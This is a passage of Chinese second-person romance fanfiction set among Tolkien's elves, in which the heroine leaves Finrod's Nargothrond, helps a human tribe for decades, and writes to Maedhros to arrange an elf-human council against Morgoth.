这下子你更加疑惑了,不光是戳戳他的脸颊,还顺带摸了摸他的脑袋,关心地问道:“你的脑袋应该没有出问题吧?” 这话把迈兹洛斯给逗笑了,他笑了两声,说:“如果说我一直想着你也是有问题的话,那么是的,我的脑袋出问题了。” 不是哥们,几天没见说情话都说得那么利索了吗?你眨巴眨巴眼睛,迈兹洛斯想要伸手抚摸你的脸颊,但是他的手指上还带着点鲜血,脏兮兮的,所以他伸出的手僵在半空中,还是你主动握住他的手,指腹摩挲他的掌心。 迈兹洛斯以为自己见到你会质问你一番的,至少得要问问你和芬罗德到底是什么关系,但是在真的和你接触以后,他却发现自己好像问不出口了。 你又能有什么错呢?迈兹洛斯想,你是不会犯错的。 正如你先前所说的,他的心里已经有了答案,那么就没有必要再问你了。 “你在这里玩够了吗?我已经找到了新的领地,在希姆凛,我们以后就在那里定居吧。”这才是正事,邀请你去往他的领地。 老实说你确实有点玩腻了,但不代表你会乖乖地跟着迈兹洛斯去那块新的领地,因此你搬出自己早就已经想好的借口,说:“我想要帮助这些人类。” 迈兹洛斯有些着急了,你的意思是不愿意回去了吗?芬罗德对你的吸引力真的有那么大么? 但是,你这话又是要帮人类的意思…… “那些人类也可以去希姆凛。”如果是你想要的话。 “他们也有自己的想法,又不是你一句话就能决定的。”你说。 “那你就是还要待在这里了。”迈兹洛斯干巴巴地说。 “也没有。”你把多余的绷带放回到桌上,站起身,就在这时迈兹洛斯忽然抱住你,双臂环住你的腰腹,脑袋贴着你的小腹,他问:“那你究竟要去哪里呢?” “当然是帮助更多的人类啊。”根据你的猜想,后面苏醒的人类肯定会越来越多,绝对不止这一些,而且这么做不光能发展自己的势力,还能规避修罗场,简直就是两全其美的好事。 这理由非常正当,迈兹洛斯一时之间也不知道该如何说服你,的确,你身为人类想要帮助自己的同类也是情理之中的,他不该因为对你的喜爱就干涉你的决定,那样的话他和凯勒巩又有什么区别呢? 迈兹洛斯仍旧拥抱着你,没有要松手的迹象,姿态里透露出几分亲昵和依赖,你伸手轻轻地抚摸他的长发,有一下没一下地,就像是在安抚他。 “既然如此,那我也明白了。”迈兹洛斯的声音闷闷的,让你听得有些不真切。 居然就这样说服了他吗?你还以为他会再和你拉扯一会的呢。 太好说话会让你没什么成就感的啊,你在他看不见的角落里撇撇嘴,旋即说:“嗯,那我们可能又要有一段时间不能再见面了。” 还没等你的话音落下,你就感觉到他环住你腰腹的动作收紧,莫名给你一种被毒蛇缠绕的感觉,精灵大多力大无穷,这也是造物主的眷顾,就是现在稍微让你有点头疼。 “只是一段时间?”迈兹洛斯问道,有些不太相信,他只是和你有一阵子没见面,你的身边就冒出一个芬罗德,那么下次呢?下次陪伴在你身边的精灵又会是谁呢?他都不敢想象。 “是啊,一段时间。” 其实如果是迈兹洛斯不答应的话反而给了你一个分手的理由,但很可惜,他居然都答应了。 就像是一头扎进软乎乎的棉花里,你本来还打算再使出一套丝滑的小连招的呢,结果他直接打断了你的前摇。 该不会是故意的吧? 在你的狐疑中迈兹洛斯抬起头,他的长相比芬罗德更加明艳,是极具攻击性的美丽,尤其是当他注视着你的时候。 行吧,多看一眼他的脸你就打消了疑虑,他这么个浓眉大眼的漂亮精灵怎么会有那么多的心机呢? 你伸手托起他的脸颊,“我很高兴你能这么说。” 看着气氛还以为你和迈兹洛斯已经把话给说开了,但这样轻松和谐的气氛没有维持太久,等到晚上的时候芬罗德邀请迈兹洛斯和你共进晚餐,你忍不住询问来传信的安格罗德,说:“真的只是邀请吃晚餐吗?” 总不至于吃到一半又打起来吧?那很影响你吃晚餐诶。 安格罗德还以为你这是在关心他的哥哥芬罗德,就说:“是的,他说了想要修补和迈兹洛斯的关系。” 嗯?修补关系?你的手指摩挲下巴,根据你对修罗场的了解,情敌的关系肯定好不到哪里去的,别说是修补关系了,别让关系再进一步恶化就算好的了。 “所以迈兹洛斯殿下您的回答是?”安格罗德的视线越过你看向身后的迈兹洛斯,问他是否要赴宴。 迈兹洛斯将你刚才和安格罗德的对话听得一清二楚,如果拒绝这次晚餐的邀请听上去就像是在逃避,所以迈兹洛斯没怎么犹豫,当即就说:“我当然会去的。” 安格罗德还算有礼貌地对迈兹洛斯点点头,然后转身离开,留下你和迈兹洛斯四目相对,你再次申明,“真的只是去吃晚餐的。” “放心吧,我们还不至于闹到你面前。” 这话听起来还真够体面的,迈兹洛斯真是个体面的精灵。 但其实就算闹到你面前问题也不大,毕竟你的武力值在他们之上,你大可以将他们都制服,没错,在绝对的武力值前,所谓的修罗场只不过是摆设。 在赴宴前迈兹洛斯也换下那身沾着尘土和树叶的衣服,顺便把自己打理一遍,容光焕发地去参加晚宴,要不是他手臂上还打着绷带,很难想象他在此之前还和别的精灵打了一架。 讲究,实在是讲究。 芬罗德先你们一步来到宴会厅,话说你刚才都待在迈兹洛斯身边,都没空去查看芬罗德的情况,因此你不由地多看了他几眼,他也换了一身衣服,那头金发也是精心打理过的,果然他们精灵都很在乎自己的外表。 芬罗德的伤口都在脸颊上,但据你所知精灵似乎不太容易留下伤口,除非是魔法伤害,其他的物理伤害都会伴随着时间流逝恢复如初。 不过,迈兹洛斯弄花了他的脸,不免让你多想,说起来你好像确实和迈兹洛斯提到过芬罗德长得好看来着。 但也不至于这么记恨吧?所以应该只是巧合而已,你想。 见到你们来了,芬罗德先一步和你们打招呼,像个合格的东道主,他说:“我准备了充足的美酒,希望能够和诸位度过美好的一顿晚餐。” 不久前还打得两败俱伤,现在就又开始拼酒了,你确实有点看不懂精灵的脑回路。 不过也无所谓,反正他们喝酒不怎么影响伤口恢复,唉,被造物主眷顾就是这么任性。 你落座后安静地吃晚餐,丝毫不理会餐桌上的暗流涌动,他们明争暗斗就斗吧,别拉上你,你在切割小羊排的时候芬罗德又开口了,他说:“苏尔在这里生活得很开心。” 你握着刀叉的手顿了顿,在思索他该不会一个不留神直接把你睡了他的事情说出来吧? 于是乎你抬起头,发现芬罗德脸上仍然是那副温和的笑容,笑得眉眼弯弯。 果然无论是哪个世界眯眯眼都恐怖如斯。 你算是见识到了芬罗德的白切黑,你往嘴里递去一块烤羊肉,慢吞吞地咀嚼着,坐在你身边的迈兹洛斯开口,“我知道,这段时间也麻烦你了,她有的时候会有些任意妄为。” 什么叫做任意妄为?就不能说是性情中人吗? 芬罗德举起酒杯,说了点跟废话似的祝酒词,然后拼酒就开始了,精灵很难喝醉,哪怕是烈酒。 你端着果汁杯打量他们两个,芬罗德还在笑,迈兹洛斯则是面无表情。 第44章 “哪来的信鸽?” 吃完一份烤羊排,你又为了营养均衡吃了一小份炖蔬菜,又是荤素搭配完美的一餐啊,这样想着的你拿起餐巾擦拭自己的唇角,坐在你周围的那两个精灵还在沉默地对峙中,行吧,他们确实挺懂事的,至少知道不闹到你面前。 你才放下餐巾,芬罗德的声音就跟着飘了过来,这股阴魂不散的架势让迈兹洛斯直皱眉。 芬罗德说:“苏尔你吃饱了吗?还有餐后甜品你不尝尝吗?” 那还是算了,你现在吃得很饱,你摇了摇头,芬罗德说了一声“好吧”,接着又问:“那么你今天又在哪里过夜呢?” 亏你之前还在夸他懂事呢, 现在这问题不是直接对迈兹洛斯贴脸开大吗? 好你个浓眉大眼的精灵居然心里弯弯绕绕的心思那么多,你说:“随便找个清净的地方过夜,我本人是没什么要求的。” 迈兹洛斯说:“那我会等你的。” 嗯?嗯? ? 这话听起来就好像你不去他的房间他就要独守空房了,你微微睁大眼睛,不是吧……这种既视感, 你搓了搓自己的手背, 说:“啊……其实你不等我也没关系的。” 迈兹洛斯握住你的手腕, 说:“不,我会等你的。” 怎么的,要是你不去他就要寂寞得开始数地砖了吗? “那我尽量。”你说。 老实说,你感觉在幽怨程度上迈兹洛斯和芬罗德不相上下,真是奇了怪了,明明一开始接触的时候都是正儿八经的精灵,怎么能幽怨到这种地步啊? 芬罗德笑盈盈地说:“既然苏尔想要一个人静静,那么我们最好也别打扰她了。” 迈兹洛斯回过头,那表情仿佛在无声地说:谁跟你是我们了? 芬罗德一开口你就闻到了浓浓的绿茶味,谁说绿茶不好的啊,绿茶也别有一番滋味啊,而且现在的芬罗德可不是绿茶,分明就是你的解语花啊。 “……我知道了。”迈兹洛斯依依不舍地松开牵着你的手,眼神还在你身上流连,你起身离开餐厅,至于你走了以后的餐厅会发生怎样的修罗场那就不在你的考虑范围内了。 现在这个时间点你就该去休息了。 回到那个安静的客房,洗漱泡澡,然后换上睡衣钻进被窝里,把那些杂七杂八的事情都抛到脑后,你一头栽进美好的梦乡,都没花费多少时间就睡着了。 时间也不知道过去了多久,反正你睡着以后对时间的感知力就变得模糊和迟钝,可能已经过了许久,又可能只过了一小会。 但这些都不是重点,重点在于你缓慢睁开双眼的时候似乎看见了伏在床边的身影。 是的,有谁静静地待在你的床沿并且无声地注视着你。 还好你的心理素质过硬,再加上之前芬罗德也偶尔会来这一出,你都已经习惯了,只是这次来的不是芬罗德而是迈兹洛斯。 你们精灵还真是喜欢搞夜袭啊。 “麦提莫。”你的嗓音还带着睡意,听上去沙哑又温柔,迈兹洛斯像是得到了示意似的向你靠近。 缓慢地,同样也是小心翼翼地。 最先接触你的是他的长发,燃烧着的火焰流淌到你身上,可你知道这份火焰不会灼伤你,他说:“我实在是讨厌你看他的眼神。” 行吧,幽怨男鬼还是露出了真面目,你伸出手穿过他的红色长发,手指摩挲他的脸颊,“日后我会离开这里的。” 迈兹洛斯应该为你这个回答感到高兴的,至少你要离开这里了,但实际上他不光高兴不起来甚至还隐隐担忧,因为你只是说要离开这里,但并没有说你要去他的领地。 他的直觉往往很准,这一次他是前所未有地痛恨自己准确的直觉,他说:“你要离开这里,也要离开我。” “我记得你以前好像没有那么粘人的。” “以前是以前,现在是现在。” 他倒学会诡辩了。 “只是短暂的分别不代表什么,难道我们要一直待在一块才让你满意吗?我以为这种想法只有凯勒巩才会有。” 迈兹洛斯将自己的脑袋埋在你的颈窝,呼出的气息浅浅的,掠过你的脖颈,痒痒的,就在你以为他要睡着的时候,他又突然冒出一句话,“好吧,但我们日后还会再见面的对吗?” 你合理怀疑迈兹洛斯很可能有那什么的分离焦虑,他此刻的焦虑溢于言表,你笑着说:“当然。” 但还能见面是一回事,到时候你身边带着别的什么新的精灵又是另外一回事了。 这句真心话你给藏了起来,影响气氛的话还是别说吧。 迈兹洛斯似乎已经接受了这个事实,他挤在你身边没有要走的意思,你往旁边挪动一点位置,好在这房间的床不算太狭窄,容得下你们两个,但迈兹洛斯把你的动作误解了,还以为你是要离开,就又伸手环住你的腰腹。 于是乎你又被他圈到怀里,感觉像是被大猫给包裹了。 不过你也不怎么讨厌这种感觉就是了,气氛安静下来以后你的睡意再度如同潮水般袭来,你耷拉着眼皮,打了个哈切,入睡前隐约听见迈兹洛斯在你耳边说了点什么,你没仔细听,也听不清,因为你下一秒就入睡了。 * 和迈兹洛斯说开以后事情就变得格外简单,再加上你本来也觉得在纳国斯隆德待得有些腻味了,正好可以顺水推舟地表示自己要离开这里。 你没有马上和芬罗德说这回事,一方面是你还没确定自己离开纳国斯隆德以后去哪里,另一方面又是因为你觉得目前的芬罗德就像是其他猫科动物进入自己的领地后陷入应激状态的猫。 虽然表现得不是很明显,但你还是能从他的言行举止还有细枝末节中发现他的反应过度,就连在给学生上课的时候也会时不时走神。 坐在台下的学生也都发现了这一点,梅兰妮在下课以后小声地问你:“芬罗德老师为什么变得那么心不在焉啊?是发生了什么事情吗?” 那些人类还不知道精灵内部的弯弯绕绕,梅兰妮怎么也不会想到总是温和的芬罗德也会有阴阳怪气的一面。 知道太多对她也没什么好处,所以你说:“这个啊……我也不是很清楚。”你深谙睁眼说瞎话的奥义,说起谎话来脸不红心不跳的。 梅兰妮嘟哝了一声“好吧”,然后又因为你问起话剧的事情注意力也被转移了,她兴致勃勃地和你说起话剧社的事情,在此之前话剧社已经表演过一次了,反响热烈,你也是观众里的一员,也将她的进步看在眼里。 梅兰妮在去参加话剧活动前还不忘对你说:“那你下次会来看我们的话剧表演吗?” 这个啊,那还真的不好说呢,因为真等到那个时候你大概已经离开纳国斯隆德了,所以你搬出糊弄大法,说:“到时候再说吧。” “好,到时候我会邀请你去看话剧的!”梅兰妮还不懂你说的到时候只是一个敷衍的借口,她是真的以为只要邀请了你,到那时你就会来看话剧。 你对着梅兰妮点点头,又挥挥手,目送她离开,在梅兰妮走后芬罗德才走到你身边,此时的教室里已经没什么人了,就只剩下你和芬罗德。 是个谈话的好时机,不光是你这么想的,芬罗德也是这么想的。 你保持沉默,主要是想听听芬罗德会对你说些什么,空气如同死一般的寂静,最终芬罗德的声音打破这片死寂,他说:“我想你肯定有什么事情要对我说的对吗?” 还真被他给猜中了,你说:“你猜得很准,我确实有些话要对你说。” “是和迈兹洛斯有关的吗?”他原以为自己已经做好了心里准备,但其实并没有,哪怕只是从你嘴里听到迈兹洛斯的名字,他还是会不由自主地感到烦闷。 迈兹洛斯来到这里就是为了带走你,而他对此却无能为力,他能强行将你留下吗?显而易见是不可能的,一来这违背了你的意愿,二来,他又是以什么身份挽留你呢? 尽管你们先前的关系很亲密,但你有对外承认过你们的关系吗?好像没有吧,哪怕你们已经将伴侣之间会做的事情都做了一遍,但你们的关系仍然停留在一开始。 你对迈兹洛斯说他是一位热情好客的东道主,一位友善的朋友,唯独不是恋人。 你是不打算承认吗?还是说你觉得他和你的关系见不得光呢? 芬罗德又说:“我们的关系对于你来说究竟是什么?只是你一时的玩闹吗?” 不是,你都还没回答他上一个问题呢,他怎么就又开始问别的了? 你说:“我要说的事情和迈兹洛斯无关。” 这话让芬罗德稍微有些放心,但也没有完全放心下来,他忙不叠地追问道:“那又是什么呢?” “我可能过两天会离开纳国斯隆德。” 也不需要太多的铺垫,长痛不如短痛,还不如直接单刀直入呢,至少痛快一些。 芬罗德的声音好像卡在喉咙里不上不下,他的嘴唇张合,最后说:“……是么,那你要和迈兹洛斯离开了对吗?” 也是,你之前就表示自己会离开这里的。 他留不住你。 你说:“没有,不是和他一起,我打算去其他地方看看别的人类,看他们是否需要帮助。” 芬罗德紧绷的神经逐渐放松下来,听你这么说,你应该也不会回到迈兹洛斯那里,你真的只是想要去帮助其他的人类而已,他当即表示自己也要和你一块去帮助人类。 “你不是还得要管理纳国斯隆德吗?这份工作只有你能够胜任。”你嘴上说得冠冕堂皇,实际上只是觉得要是芬罗德跟着你的话很影响你的发挥啊。 这话落在芬罗德的耳朵里就变了意味,变成了你在关心他,关心纳国斯隆德,他为之前怀疑你的真心而感到懊悔,他不该那么怀疑你的,明明你还在那么为他考虑。 都不需要你多说些什么,芬罗德就把自己给开解好了,他说:“但你一个人外出难免会有些危险。” 你还以为芬罗德是铁了心要跟你一块去,但后面证明他还是把你的话给听进去了的,他没有执意要和你一块离开,而是送了你不少武器。 就像是NPC爆装备,一口气给你爆了很多装备,既然他都这么送了,那你也就心安理得地收下。 你是和迈兹洛斯一块离开纳国斯隆德的,在你离开的时候纳国斯隆德的其他精灵和人类多多少少都有些不舍,你也早已预料到了这一点,在简短的告别后就骑马离开,毕竟再继续说下去可真是没完没了。 你和迈兹洛斯同了一段路,但到最后还是要分道扬镳,迈兹洛斯在临走前又对你说:“有空就给我写信吧。” “我尽量。”你说这话的意思就是你如果想得起来那就会给他写信,要是没想起来嘛……那就没办法啦。 说完这话你牵着缰绳骑马飞奔向远方,迈兹洛斯还停留在原地,只要你一回头就能看见他的身影,直到你穿过一片森林,那葱葱郁郁的树林终于将他的身影淹没。 不像迈兹洛斯亦或是芬罗德那样伤感,你只觉得自己变得无比自由。 甚至于就连空气中都弥漫着幸福的自由感。 离开那两个精灵的日子你一开始还在寻找人类,在找到另外一批人类后你发现人类和人类之间的性格也很不同,就比如说你现在遇到的这一批人类就婉拒了你让他们去投靠精灵的提议。 “我们想要依靠自己的力量活下去,如果只是和精灵成为朋友的话,我们当然很愿意,但我们不会成为精灵的附属。”为首的人类身上还披着兽皮,毛茸茸的,她的表情严肃郑重。 好有骨气的人类,你在心里感叹一句,既然他们态度坚决,你也不再提这件事,人类首领哈罗德因为你当初从野兽爪下救下她的族人,所以非常欢迎你加入他们的大家庭。 和精灵待在一块的时间太久,你发现果然还是和人类有更多的话题可以聊。 正如你当初对芬罗德所说的,你确实帮助了这群人类许多,帮助他们清扫一路上的黑暗生物,选定他们的营地,再修建营地周围的防御设施,这感觉就像是在玩基建游戏,让你非常有成就感。 这样轻松的日子让你忘记了时间的流逝,等你回过神来的时候才发现,当初跟在哈罗德身后的小女儿夏洛特都已经长大成人,营地里的老人也去世了一批又一批,你参加了许多场葬礼,唯一不变的是你的外表。 你猜测这应该是绑定了系统的缘故,所以才会让你成为少见的长生种人类。 哈罗德对此并不意外,因为年老而时常生病的哈罗德不得不卧床休息,族内的事情就交给了她的女儿,你偶尔会去她的床边看望她,和她说说话,她说:“我的猜想果然没错,你和普通人类不同,但你也不是精灵。” “这个世界那么广阔,总会出现一些稀奇古怪的特例。”这是你的解释。 哪怕你不解释哈罗德也能理解,她笑了一下,岁月在她身上留下的痕迹让她整个人看起来都愈发博闻多识,她说:“那我能遇到你也是我的幸运。” 你替她整理额角的碎发,在你记忆里乌黑的长发变得花白,你忍不住地想要叹息,你知道生命就是这样短暂易逝的,但在真正触及的时候还是会觉得可惜。 “你在叹息什么?生命因为死亡而绚烂不是吗?”哈罗德能够做到坦然应对死亡,甚至还能反过来安慰你。 “我觉得自己和你们相处得还不够呢。”你说。 哈罗德拍拍你的手背,“但你以后还会和我的女儿相处,她会需要你的帮助的。” 她想说看在你们昔日情谊的份上,但不等她说出这句话你就先一步回答:“我知道,就算你不说我也会帮助她的。” 哈罗德缓慢地眨了一下眼睛,刚才的精神头又被衰老的身躯吞没,她说:“我有些累了,让我稍微睡一会,等我醒了再和你说些别的吧。” 你应了一声,说好。 在你离开哈罗德房间以后没多久她的女儿夏洛特就找了过来,严肃认真的神情和她的母亲如出一辙。 “怎么了?”你问道。 夏洛特说:“从前阵子开始北方的安格班就一直在试探人类势力,而且我总觉得……再这样放任下去这片大陆都会被安格班的黑暗污染。” 噢,差点忘了北方还有个阴魂不散的魔苟斯呢,说起来这魔苟斯还真是有够努力的,这些年一直韬光养晦,在暗地里发展自己的力量就是为了打败精灵。 至于人类,你认为像魔苟斯这种傲慢的反派压根就没把人类放在眼里,现在的人类还只是中土大陆上一支不起眼的小势力而已。 但就算魔苟斯看不起人类,他的一举一动还是会影响到人类的生活。 夏洛特在不久前就已经意识到了这一点,这一趋势还在愈演愈烈,这也是为什么她现在这么急匆匆地找过来。 你先安抚夏洛特,说:“我们目前还有多少兵力?” 夏洛特给你比了个数字,你皱皱眉,这个数字啊,那确实有点不够,就在这时夏洛特又说:“但我听说其他的精灵也想要借此机会一举消灭魔苟斯。” 嗯?谁啊?谁说要一举消灭魔苟斯的啊,消灭魔苟斯可没有那么容易啊,但夏洛特说的这话也算是给你提供了一个思路,那就是可以和精灵合作。 话说回来,你好像已经很久没见过精灵了,没办法,和人类一块玩基建游戏实在是太入迷了,再加上你之前收集到的好感度够你活好久的了,所以你暂时把攻略任务给抛到脑后,直到现在才想起来你好像还绑定了一个恋爱系统。 系统都不上线,没人催你,push你,那你就是真的一点进度都不赶。 夏洛特还在等待你的回答,你身为她母亲身边的重要心腹,你的回答对她来说非常重要,她眼巴巴地看着你,问道:“所以……你又是怎么想的?” 你还能是怎么想的,你在想自己见到那些精灵的时候该说些什么好呢。 “可以啊,我觉得我们可以和精灵联手,这样吧,我去联络精灵。” 夏洛特长呼一口气,说:“那真是太好了,好,那就麻烦你了。” 在离开精灵堆几十年后你才拿出信纸和信笔写第一封信,因为听说到时候精灵会到迈兹洛斯那里开会,你就索性把这封信寄到迈兹洛斯那里。 开头应该写些什么呢?你握着羽毛笔开始犯愁,好像回到了中学时代写小作文的时候。 ——亲爱的迈兹洛斯,许久没有给你写信了,你过得还好吗? 嗯……直接称呼迈兹洛斯会不会有点疏离了? 于是你又拿出一张新的信纸在上面写到:亲爱的麦提莫,许久没有给你写信了,你过得还好吗? 这就对味了。 迈兹洛斯是个吃软不吃硬的精灵,你只要把信件写得真挚一点,他就算真的生气了,那看到你的信件估计一下子怒气就烟消云散了。 这就是你的策略。 万事开头难,但只要开了个好头,接着写下去就没有那么难了,甚至可以说写得非常流畅,可谓是一气呵成。 你在信里提到自己是如何帮助人类的,以及现在人类遇到的困难,再在不经意间提到精灵打算将魔苟斯一网打尽,最后说明自己的真实意图。 那就是你要去参加那场精灵会议。 折叠信纸,将信纸塞进信封里,然后封口,最后让信鸽将这封信送往希姆凛。 鸽子拍打翅膀,一眨眼的功夫就飞向远方,这封信就这样穿过云层,穿过森林和山川最后被送到迈兹洛斯……的弟弟手上。 凯勒巩手一松,箭矢飞了出去,差点命中那只信鸽。 他奇怪地嘟哝一声,“哪来的信鸽?” 第45章 “我要他。” 那只信鸽被突如其来的箭矢吓了一跳,歪了歪脑袋,像是在确认眼前精灵的身份,确定那不是收信的精灵,就又要拍动翅膀离开,但不幸的是凯勒巩的好奇心已经被勾了起来。 一只突然出现在迈兹洛斯领地里的信鸽,想必也是写给迈兹洛斯的信,他便对信鸽说:“你这封信是要交给迈兹洛斯的么?我可以替你送过去。” 信鸽不太相信凯勒巩说的话, 毕竟不久前他还差点一箭命中它呢。 凯勒巩将信鸽的小心谨慎看在眼里,他扯了扯嘴角,笑盈盈地说:“你担心什么?刚才就是个意外而已。” 最后信鸽还是选择停在凯勒巩的肩头,倒也不是完全相信他, 而是因为如果不答应他的话估计这坏脾气的精灵又得要拉开弓射箭了。 凯勒巩对信鸽的识趣很满意,他说:“早该这样了。” 就这样,他们一精灵一信鸽朝着迈兹洛斯的宫殿走去,精灵的脚程很快,去宫殿用的时间甚至还比信鸽飞过去用的时间要少。 等到了宫殿里凯勒巩便轻车熟路地朝着迈兹洛斯所在的议事厅走去,不多时就见到了迈兹洛斯,后者看到本该在外面游猎的弟弟却忽然出现在自己面前,当即就觉得肯定发生了什么,他问道:“怎么了?” 话语间, 迈兹洛斯的视线从凯勒巩的面庞转移到他肩头的信鸽上。 “信鸽?” “是的,我刚才差点就要一箭命中它了, 这小家伙大概是来给你送信的。”凯勒巩把信鸽送到迈兹洛斯跟前, 迈兹洛斯从信鸽的背上拆下那一封信。 将信封展开,目光扫到上面的署名时不由地顿了顿,甚至于他的眼睛都微微睁大,凯勒巩观察得细致入微,他没出声,也瞧了一眼,同样也看见了那熟悉的署名,他说:“是苏尔给你写信了啊。” 尽管他努力地装出一副满不在乎的样子,但那股酸味还是不受控制地溢出来了。 自打你去了纳国斯隆德,后面又说是要去帮助人类,他就已经有好一阵子没见过你了,不光如此,甚至还从未收到过一封你写的信,在此之前他倒是还能安慰自己你是一视同仁地都不给他们兄弟写信。 但是现在呢,他亲眼看见了你给迈兹洛斯写信。 是,迈兹洛斯确实是第一个遇见你的精灵,但先来后到有那么重要吗 处在微妙平衡状态的天平终于被打破了,凯勒巩没法替自己的哥哥感到高兴。 他得承认自己的心胸没有那么宽广,他还做不到那么坦然地祝福你和他的哥哥幸福美满。 凯勒巩接着又说:“我还以为苏尔早就已经把我们都给忘了,原来她还记得你。” 迈兹洛斯没理会凯勒巩酸溜溜的话语,他自顾自地拆开信封,取出信纸,再展平,你写的信篇幅不长,除去前面的铺垫,真正想说的其实就是最后一段话,那就是希望人类和精灵联合起来。 很公事公办的口吻,仿佛只是来讨论公事的,这也让迈兹洛斯原本雀跃的内心一点一点地沉了下去,跟着一块沉下去的还有他的表情,凯勒巩自然也捕捉到了一点细微的表情变化,就问:“怎么了?她在信里都写了什么?” 迈兹洛斯没说话,可能是懒得解释,干脆直接将你写的信纸递给凯勒巩,后者动作飞快地接了过去,看得很认真很仔细,看到最后也能够理解自己的兄长为什么会是这反应。 太冷淡了,完全不像是伴侣之间的交流,凯勒巩都要怀疑这是不是别人代笔写的信件了,否则你为什么会显得那么疏离呢? 迈兹洛斯和凯勒巩都不约而同地沉默了几秒,最后是凯勒巩先开口,说:“这封信真的是苏尔写的吗?” 这也是迈兹洛斯感到疑惑的地方,他说:“……你也是这么想的吗?” “是啊。”凯勒巩说,接着他又话锋一转,“不过——她提到的事情确实也是值得考虑的。” 占据北方的魔苟斯最近的动作愈发频繁,不光是迈兹洛斯和他的弟弟们觉得应该采取措施,就连其他精灵也是这么觉得的,所以凯勒巩暂时将你莫名疏离的态度这件事搁置在一边,说:“要是能借此机会联合其他精灵还有人类一块解决魔苟斯也算是解决了我们的心头大患。” 更重要的是他们还能取回精灵宝钻,这些年来当初立下的誓言在隐秘地腐蚀他们的灵魂,他们时不时就会感受到些许灵魂上的刺痛。 现在还只是刺痛而已,等到之后他们也不能确定是何等的折磨。 所以凯勒巩也觉得应该适当利用此次机会,而且看你的意思是到时候你会来到现场参加这次会议。 这说明什么呢,说明他能再见到你了,这对凯勒巩来说也是一件好事。 所以无论怎么看他都希望推进这次合作,而他的哥哥迈兹洛斯也是这么想的,于是他们达成一致,迈兹洛斯说:“那就麻烦你去通知其余费诺里安了。” 凯勒巩表示这件事情就包在他身上吧,他当即转身离开去传送消息。 关于精灵会议的事情很快就传到其余的费诺里安耳朵里,不仅仅是费诺里安还有别的精灵,例如芬国昐和他的孩子们也都收到了邀请,芬罗德暂时没在邀请的名单内,这也是迈兹洛斯的决定,其他精灵也没有多问,按照迈兹洛斯的意思主要是因为芬罗德的纳国斯隆德位于南方,如果要出兵恐怕有些麻烦。 但到底是替芬罗德考虑觉得麻烦还是出于其他的原因,其他的精灵也都看在眼里。 总而言之,在这样紧锣密鼓的准备下精灵会议就这样被提上日程,与此同时你也收到了迈兹洛斯寄来的信。 你坐在火堆旁看信,火光映照着信纸,使其呈现出半透明的质地,迈兹洛斯的字迹还是那么清隽,因为当初是他教会你精灵的文字,所以你的字迹也和他很像。 “收到你的信我很高兴,这些日子你还好吗?虽然你没特意提但我知道你肯定在外面过得很开心,你也帮助了许多人类吧?”这句话看上去莫名有些酸溜溜的,就像是在阴阳怪气地问你在外面玩够了吗?也许他的本意并非如此,但在你看来这股怨夫味道太冲人了。 你接着往下看。 “关于你的提议我和其他费诺里安也觉得合作是最好的出路,只不过魔苟斯实在是狡猾,倘若我们不能齐心协力的话势必会被他挑拨离间。”这话说得没错,魔苟斯这家伙确实很狡猾。 不过嘛,你想要召开精灵会议的另外一大原因就是借此机会推进芬巩的好感度。 没错,虽然你之前沉迷基建,但你也没忘记自己还绑定了一个攻略系统,更忘不了你在芬巩那里碰的壁,但你属于越挫越勇的那种人,碰壁了没关系,你就不信自己直接强取豪夺也不能成功。 都说强扭的瓜不甜,但是解渴啊。 所以你都已经想好了到时候在精灵会议该怎么推进芬巩的攻略进度了。 想到这里,你的唇角微微上扬,脸上浮现出志得意满的笑容。 哼哼,区区攻略人物而已,不在话下! 后来夏洛特问起你寄出的那封信是否有回音,你说:“放心吧,我们到时候去精灵的领地里参加会议就行了。” 夏洛特略带惊讶,“这样就好了吗?”她还以为这件事情很难办成呢,毕竟也不是所有精灵都和纳国斯隆德的那样对人类很友好,有的精灵老实说什至还很高傲地瞧不起人类呢。 你点点头,“是啊,解决了。” 夏洛特意识到你是认真的,她就又说:“那真是太好了!”她的高兴转瞬即逝,因为她忽然之间又想到如果要和精灵谈判的话,那她又该怎么办呢?那些精灵,尤其是费诺里安可没有那么好说话。 就在她担心的时候你伸手拍了拍她的肩膀,说:“我和他们还算熟悉。” “你和他们是朋友吗?”夏洛特在想你身上到底还藏着多少的秘密呢?你和精灵关系匪浅,而且似乎对一切都游刃有余。 你停顿了一秒,说:“差不多吧。” 大概就是睡过的关系吧。 但你也不可能把实话给说出来,有的时候实话总是太直白,你打个哈哈就糊弄过去了。 夏洛特还有很多问题想要问的,但是她后来转念一想,如果你之前都没有主动说的话,那就说明或许你自己也没打算告诉他们这些。 所以她也没有再追问。 精灵会议的举办时间眨眼间就要到了,你在收到邀请以后就提前带着夏洛特出发,在路上花费的时间估算得刚刚好,大概是在会议举行的前一天抵达希姆凛的。 夏洛特有些好奇地环视四周,你也是第一次来希姆凛,当初迈兹洛斯还邀请你和他回希姆凛,说是你肯定会对这里满意的,现在看来他说的一点也不夸张,这里的装修风格确实是你喜欢的那一种,风格简约,但偶尔在细节处用精美的饰品点缀。 迈兹洛斯的下属领着你和夏洛特往里走,途中还遇到了不少当初在希斯路姆认识的精灵,他们见到你纷纷和你打招呼,他们惊讶于你的寿命与寻常人类不同,甚至于你的外表也没什么改变,因为好奇还问了你许多问题。 对于他们的问题,你也一一点头回应,夏洛特始终跟在你身边,偶尔看看那些一见到你就扬起热情笑容的精灵。 看来你不光讨人喜欢,而且还非常受精灵的喜欢啊,她在心里感叹一声。 沿着长廊往前走,一直走在长廊的尽头,会议厅的大门被精灵从外面打开,从原来的一小条缝隙逐渐变宽,最后得以看清议事厅的内部结构,在议事厅中央的长桌旁边有许多精灵或是站着或是坐着,亦或是手里拿着文件低声交谈。 开门的动静引来一部分精灵的注意,夏洛特捕捉到其中一个金发精灵步履匆匆地朝着你跑来。 这是做什么?偷袭吗?夏洛特皱起眉毛,但事实证明是她多虑了,不是偷袭也不是攻击,那个金发精灵只是见到你太激动了,他说:“你居然真的来了啊!” 这话说得,搞得好像你还会放他们鸽子似的,你说:“我既然已经在信里说了要来,那就肯定会来的。” 凯勒巩说:“是么,那你之前怎么一封信都不给我们写?” 看凯勒巩质问你的架势好像他才是你的正牌恋人,你没有正面回应他的问题,而是又问道:“迈兹洛斯呢?” “我就知道你会问他,他啊,刚才去书房了,现在应该快回来了吧。” 还没等他的话音落下,迈兹洛斯的声音随之响起,他对你说:“欢迎来到希姆凛。” 说得那么正式,你都有点不自在了。 你对着迈兹洛斯还有凯勒巩介绍夏洛特,“她是我认识的人类首领的女儿,准确来说她现在是新一任的首领了。” 